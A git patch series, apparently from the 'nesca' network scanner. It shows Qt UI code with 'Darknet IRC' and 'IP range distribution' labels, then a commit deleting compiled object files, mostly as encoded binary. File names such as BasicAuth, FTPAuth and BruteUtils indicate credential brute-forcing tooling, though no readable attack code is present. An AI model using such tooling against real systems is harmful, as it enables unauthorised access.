+#ifndef QT_NO_TOOLTIP + IRCCP1251Mode->setToolTip(QApplication::translate("nesca_3Class", "Codepage", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + IRCCP1251Mode->setWhatsThis(QApplication::translate("nesca_3Class", "Codepage", 0)); +#endif // QT_NO_WHATSTHIS + IRCCP1251Mode->setText(QApplication::translate("nesca_3Class", " CP-1251", 0)); + labelIPRange_2->setText(QApplication::translate("nesca_3Class", "IRC SERVER", 0)); + labelIPRange_3->setText(QApplication::translate("nesca_3Class", "PROXY&PORT", 0)); + labelIPRange_4->setText(QApplication::translate("nesca_3Class", "NICK", 0)); + labelIPRange_5->setText(QApplication::translate("nesca_3Class", "TOPIC", 0)); +#ifndef QT_NO_TOOLTIP + DataflowModeBut->setToolTip(QApplication::translate("nesca_3Class", "Online datastream", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + DataflowModeBut->setWhatsThis(QApplication::translate("nesca_3Class", "Online datastream", 0)); +#endif // QT_NO_WHATSTHIS + DataflowModeBut->setText(QApplication::translate("nesca_3Class", ":Dataflow", 0)); +#ifndef QT_NO_TOOLTIP + IRCModeBut->setToolTip(QApplication::translate("nesca_3Class", "Darknet IRC", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + IRCModeBut->setWhatsThis(QApplication::translate("nesca_3Class", "Darknet IRC", 0)); +#endif // QT_NO_WHATSTHIS + IRCModeBut->setText(QApplication::translate("nesca_3Class", ":IRC", 0)); +#ifndef QT_NO_TOOLTIP + JobModeBut->setToolTip(QApplication::translate("nesca_3Class", "IP range distribution", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + JobModeBut->setWhatsThis(QApplication::translate("nesca_3Class", "IP range distribution", 0)); +#endif // QT_NO_WHATSTHIS + JobModeBut->setText(QApplication::translate("nesca_3Class", ":Jobs", 0)); +#ifndef QT_NO_TOOLTIP + IRCModeChangerBut->setToolTip(QApplication::translate("nesca_3Class", "Raw or normal log view", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + IRCModeChangerBut->setWhatsThis(QApplication::translate("nesca_3Class", "Raw or normal log view", 0)); +#endif // QT_NO_WHATSTHIS + IRCModeChangerBut->setText(QApplication::translate("nesca_3Class", ":IRC raw", 0)); + } // retranslateUi + +}; + +namespace Ui { + class nesca_3Class: public Ui_nesca_3Class {}; +} // namespace Ui + +QT_END_NAMESPACE + +#endif // UI_NESCA_3_H diff --git a/vercheckerthread.o b/vercheckerthread.o new file mode 100644 index 0000000000000000000000000000000000000000..84ae04477259f12937b159e2c570ddb24a6bf275 GIT binary patch literal 7656 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 literal 0 HcmV?d00001 From 39d2724812a2c9761ac4bd48a96df19a0ef5b1c0 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 15:55:00 +0300 Subject: [PATCH 51/66] NS-IRC support purged --- .gitignore | 5 +- ActivityDrawerTh_HorNet.o | Bin 9216 -> 0 bytes BasicAuth.o | Bin 29208 -> 0 bytes BruteUtils.o | Bin 4656 -> 0 bytes CheckKey_Th.o | Bin 23264 -> 0 bytes CheckProxy_Th.o | Bin 22968 -> 0 bytes Connector.o | Bin 36920 -> 0 bytes DrawerTh_GridQoSScanner.o | Bin 3480 -> 0 bytes DrawerTh_HorNet.o | Bin 4120 -> 0 bytes DrawerTh_ME2Scanner.o | Bin 12672 -> 0 bytes DrawerTh_QoSScanner.o | Bin 9992 -> 0 bytes DrawerTh_VoiceScanner.o | Bin 10472 -> 0 bytes FTPAuth.o | Bin 17888 -> 0 bytes IRCPinger_Th.o | Bin 5368 -> 0 bytes STh.o | Bin 14080 -> 0 bytes Threader.o | Bin 30944 -> 0 bytes Utils.o | Bin 2632 -> 0 bytes WebformWorker.o | Bin 54640 -> 0 bytes base64.o | Bin 5800 -> 0 bytes connector_old.o | Bin 62920 -> 0 bytes finder.o | Bin 186728 -> 0 bytes irc_nmblinker.o | Bin 3040 -> 0 bytes main.o | Bin 9360 -> 0 bytes moc_ActivityDrawerTh_HorNet.cpp | 141 ------- moc_ActivityDrawerTh_HorNet.o | Bin 10168 -> 0 bytes moc_CheckKey_Th.cpp | 88 ---- moc_CheckKey_Th.o | Bin 7136 -> 0 bytes moc_CheckProxy_Th.cpp | 194 --------- moc_CheckProxy_Th.o | Bin 12352 -> 0 bytes moc_DrawerTh_GridQoSScanner.cpp | 124 ------ moc_DrawerTh_GridQoSScanner.o | Bin 8072 -> 0 bytes moc_DrawerTh_HorNet.cpp | 157 ------- moc_DrawerTh_HorNet.o | Bin 8768 -> 0 bytes moc_DrawerTh_ME2Scanner.cpp | 141 ------- moc_DrawerTh_ME2Scanner.o | Bin 8376 -> 0 bytes moc_DrawerTh_QoSScanner.cpp | 124 ------ moc_DrawerTh_QoSScanner.o | Bin 7976 -> 0 bytes moc_DrawerTh_VoiceScanner.cpp | 158 ------- moc_DrawerTh_VoiceScanner.o | Bin 8968 -> 0 bytes moc_IRCPinger_Th.cpp | 141 ------- moc_IRCPinger_Th.o | Bin 9872 -> 0 bytes moc_STh.cpp | 520 ----------------------- moc_STh.o | Bin 23384 -> 0 bytes moc_irc_nmblinker.cpp | 124 ------ moc_irc_nmblinker.o | Bin 7816 -> 0 bytes moc_msgcheckerthread.cpp | 124 ------ moc_msgcheckerthread.o | Bin 9584 -> 0 bytes moc_nesca_3.cpp | 713 -------------------------------- moc_nesca_3.o | Bin 59376 -> 0 bytes moc_oIRC_Th.cpp | 330 --------------- moc_oIRC_Th.o | Bin 17152 -> 0 bytes moc_piestat.cpp | 124 ------ moc_piestat.o | Bin 7648 -> 0 bytes moc_progressbardrawer.cpp | 124 ------ moc_progressbardrawer.o | Bin 7896 -> 0 bytes moc_vercheckerthread.cpp | 88 ---- moc_vercheckerthread.o | Bin 7280 -> 0 bytes msgcheckerthread.o | Bin 12304 -> 0 bytes nesca_3.o | Bin 755832 -> 0 bytes nesca_startModule.o | Bin 165056 -> 0 bytes oIRC_Th.o | Bin 80000 -> 0 bytes piestat.o | Bin 3384 -> 0 bytes progressbardrawer.o | Bin 3032 -> 0 bytes qrc_nesca_3.o | Bin 42440 -> 0 bytes vercheckerthread.o | Bin 7656 -> 0 bytes 65 files changed, 4 insertions(+), 3416 deletions(-) delete mode 100644 ActivityDrawerTh_HorNet.o delete mode 100644 BasicAuth.o delete mode 100644 BruteUtils.o delete mode 100644 CheckKey_Th.o delete mode 100644 CheckProxy_Th.o delete mode 100644 Connector.o delete mode 100644 DrawerTh_GridQoSScanner.o delete mode 100644 DrawerTh_HorNet.o delete mode 100644 DrawerTh_ME2Scanner.o delete mode 100644 DrawerTh_QoSScanner.o delete mode 100644 DrawerTh_VoiceScanner.o delete mode 100644 FTPAuth.o delete mode 100644 IRCPinger_Th.o delete mode 100644 STh.o delete mode 100644 Threader.o delete mode 100644 Utils.o delete mode 100644 WebformWorker.o delete mode 100644 base64.o delete mode 100644 connector_old.o delete mode 100644 finder.o delete mode 100644 irc_nmblinker.o delete mode 100644 main.o delete mode 100644 moc_ActivityDrawerTh_HorNet.cpp delete mode 100644 moc_ActivityDrawerTh_HorNet.o delete mode 100644 moc_CheckKey_Th.cpp delete mode 100644 moc_CheckKey_Th.o delete mode 100644 moc_CheckProxy_Th.cpp delete mode 100644 moc_CheckProxy_Th.o delete mode 100644 moc_DrawerTh_GridQoSScanner.cpp delete mode 100644 moc_DrawerTh_GridQoSScanner.o delete mode 100644 moc_DrawerTh_HorNet.cpp delete mode 100644 moc_DrawerTh_HorNet.o delete mode 100644 moc_DrawerTh_ME2Scanner.cpp delete mode 100644 moc_DrawerTh_ME2Scanner.o delete mode 100644 moc_DrawerTh_QoSScanner.cpp delete mode 100644 moc_DrawerTh_QoSScanner.o delete mode 100644 moc_DrawerTh_VoiceScanner.cpp delete mode 100644 moc_DrawerTh_VoiceScanner.o delete mode 100644 moc_IRCPinger_Th.cpp delete mode 100644 moc_IRCPinger_Th.o delete mode 100644 moc_STh.cpp delete mode 100644 moc_STh.o delete mode 100644 moc_irc_nmblinker.cpp delete mode 100644 moc_irc_nmblinker.o delete mode 100644 moc_msgcheckerthread.cpp delete mode 100644 moc_msgcheckerthread.o delete mode 100644 moc_nesca_3.cpp delete mode 100644 moc_nesca_3.o delete mode 100644 moc_oIRC_Th.cpp delete mode 100644 moc_oIRC_Th.o delete mode 100644 moc_piestat.cpp delete mode 100644 moc_piestat.o delete mode 100644 moc_progressbardrawer.cpp delete mode 100644 moc_progressbardrawer.o delete mode 100644 moc_vercheckerthread.cpp delete mode 100644 moc_vercheckerthread.o delete mode 100644 msgcheckerthread.o delete mode 100644 nesca_3.o delete mode 100644 nesca_startModule.o delete mode 100644 oIRC_Th.o delete mode 100644 piestat.o delete mode 100644 progressbardrawer.o delete mode 100644 qrc_nesca_3.o delete mode 100644 vercheckerthread.o diff --git a/.gitignore b/.gitignore index 4fb5242..c517839 100644 --- a/.gitignore +++ b/.gitignore @@ -36,4 +36,7 @@ result_files-* *.LOCAL.* *.REMOTE.* *.BASE.* - +*.o +nesca +moc_* +*~ diff --git a/ActivityDrawerTh_HorNet.o b/ActivityDrawerTh_HorNet.o deleted file mode 100644 index f853f59fbaec42a7ae39420f9ea85e63d3e31239..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 9216 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 Vf0N<7Zn^*X%tbmV@N-`f|1V~rn-%~7 diff --git a/BasicAuth.o b/BasicAuth.o deleted file mode 100644 index 71793f870c184b44b30307989503925d1c35f7b3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 29208 zcmcJ13wTu3+3rq;A>oz@Xcdc>0S63%Ap-$|C}zS0c4W9nz`G7ZGC+Pq5;GG79y~^q zDB~DK>b<`e+xqKYdz32P5HSjZdaOmN)ru8Ly)Z^9YQ@y5Iq$bFd%oG3?O&hgob|A0 z@Ad9?eYbVpYwvJPWoTAzPL82djxobX=QL^<o2R6&%f)56G0Heaa0ehi2nUrLtj+~E z7pm(MaMmesLE!wr;=rQCX5zbQ^V&}@M4?dU7T;zN%tYLmpIGEOHkA1K5EU>x+kJb) zd6BQw?3^sH#BMXu&!_JHr>~p@B#xSi{Sr#vCW-`;3wtU%_IlP&a^rsTEMF+mYa^W7 zQ<Zo#<XU>Dvg4K2h4%Yq@@k_h@lGi5S2OXw>ALEWES=b2mDs5SEr!K=OjpIBs%bkt z?e7jTjKJ78&7`(@^&xZm*<`Y(<7?cj^!EnZzU|!=^c5PO_R{|3cfD^(sPor8id-o1 znH1Z($akjlHI(>RV4=j{xqn1YR`hgqdDch!QAx=%;kvq2m3S-U`j0~$UF28hUCXaj zAHQDe>(@)3_94Qrx5zJ&Zgw)i=F+{k?|MD$!92t8@2&J7ei|J3`a%0%Plq3|uWUc; z>F5tL+q*m+e|Hhk>*;t47p?0k5*?4>Qdf9o`v;<Ye7Je-PHGyLTo$-Aa9QB;KzPS8 z&nZEQ*>8PEpdlTuc3+_|Ymx74-b8}F;n`wG++gxtw2fCh>#w0oNUrk@=anxR73szy zf|zbRLfemR9Q)BfRO67=vLIfMKI8B5@1@q^X?G!z?OlQADU6;D5Be5G@-4DdwGe+7 zg|PkI?|XZbadZ~dfVK`4VbQg{&X>Qv7s>4CjpvC-BzBqbHD5-hbDQq~_$p#sN78jd zw%l|uN?EUI7yM*Cv8Vz%&&z51CTCUNkv1d8bNh?bRZB!Yh+evt%r_IetDrOy^m$cP z9MwLU$!&t3%tI^gn4NDJTX7iMbMYg%)Z9poR7f$iE0p#2k;NvCWP7u)<=~;rQbPqy zCaRfuAC{)gB-_eKn6Pa}Hrv)IkBCYlB(*6Ub(?6Ol5kpfg78x)dmokGClIoxq=ehE z6ZTM~goIFbf?*j+?aQX(`PLn;<cK)>yHaR`y`EDr^ogM{_0>0&Ek|CAD5>ZECG%$I zI$yaclR5__&^g;-12w31z6BCL5%>nmFOhkd&Nrb&$j+I>Me1)5NzG>i6{jY%lj@>K z6iPR%+kBgZ`1B-@ZdM=h(UDqVFnKY0_`cP{sKtAwB#e&o*1~kx-kXhKjgbG|$RF=t znfNd;Rt%7&AY*{^S_9;Qe2f6k;l80qNHLy~fkhedFwr$zLCXMBPpEpJIioxT$^lTU z-h?@0iZy4*p~^OA5Iu-VqmpKgt6)aDm)|CP_F9BR&KkX$vmq6=V)F0J8WfXH)p#e0 z^GRbTS|FPYb37ei_Vo6KsNtkXcQxL^u`<gsIYEXn9ka<^be`s(j-#ISAvQ?TWGHUY zEdO@Mwf2yl<kcjr?pkjB^WT~bxmzSWqpCl~_)9~$9J*<mhi50iGchfqXMK$84Z0sa zjL}>6E7{L}^G}%%b=LZttT`LKf`&B{VK^)M<d)I&iK`X{LCm<+wq!q}XsDa2V`FI` zI!ESxD;__-=}SA=v}U3<<l11Ti`E9L@u%MVS_~PO&#AR<LMY`BaRQ>C=Xr@+%~TK8 z2*o*>p-}xhu^%nN>gr-tUfa{r>sdb*>M0cIaX{Q`wi?D!`zS#7tx)uB8oQMiw*K2q zP2*eD;ze=Z;@?3i{9V*I#02E&7(or5EpkglCCiSO%{kiwm*`l-&=Tg>KF*1ow0x1R zUe$Bjd7(?MUw*uE(o|N@ld(i0*Tk@<{F{#YrJ=ivItdNwe0r5raVYVPsTMSCJu)t8 z(bN70e6r>fsyI9o6pEN9ae=sH<Wuh*W%CbYdD@?c`Xg-<urBGMRp(~1CMg#jsoRjj 